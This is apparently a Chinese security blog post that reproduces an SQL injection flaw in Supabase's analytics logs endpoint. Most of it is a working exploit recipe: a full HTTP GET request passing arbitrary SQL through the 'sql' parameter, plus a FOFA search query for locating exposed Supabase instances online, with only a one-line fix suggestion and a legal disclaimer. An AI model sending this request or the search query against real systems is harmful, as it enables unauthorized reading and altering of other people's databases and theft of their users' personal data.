【复现】Supabase后端服务 SQL注入漏洞_48

目录

一.概述

[二 .漏洞影响](#二 .漏洞影响)

三.漏洞复现

[1. 漏洞一:](#1. 漏洞一:)

四.修复建议:

[五. 搜索语法:](#五. 搜索语法:)

六.免责声明


一.概述

Supabase是什么 Supabase将自己定位为Firebase的开源替代品,提供了一套工具来帮助开发者构建web或移动应用程序。 Supabase是建立在Postgres之上.

二 .漏洞影响

攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。甚至拿到服务器权限。

三.漏洞复现

1. 漏洞一:

(1)漏洞类型: SQL注入

(2)请求类型:GET

(3)复现

找到相关系统


请求漏洞点,查看yakit响应


yakit请求包

java 复制代码
GET /api/projects/default/analytics/endpoints/logs.all?project=default&iso_timestamp_start=Z&sql=select+version() HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

四.修复建议:

对变量做好过滤和检测。

五. 搜索语法:

1.fofa

java 复制代码
title="supabase"

六.免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

相关推荐
南城花随雪。12 分钟前
硬盘(HDD)与固态硬盘(SSD)详细解读
数据库
儿时可乖了13 分钟前
使用 Java 操作 SQLite 数据库
java·数据库·sqlite
懒是一种态度15 分钟前
Golang 调用 mongodb 的函数
数据库·mongodb·golang
天海华兮17 分钟前
mysql 去重 补全 取出重复 变量 函数 和存储过程
数据库·mysql
Koi慢热34 分钟前
路由基础(全)
linux·网络·网络协议·安全
gma9991 小时前
Etcd 框架
数据库·etcd
爱吃青椒不爱吃西红柿‍️1 小时前
华为ASP与CSP是什么?
服务器·前端·数据库
Yz98762 小时前
hive的存储格式
大数据·数据库·数据仓库·hive·hadoop·数据库开发
苏-言2 小时前
Spring IOC实战指南:从零到一的构建过程
java·数据库·spring
Ljw...2 小时前
索引(MySQL)
数据库·mysql·索引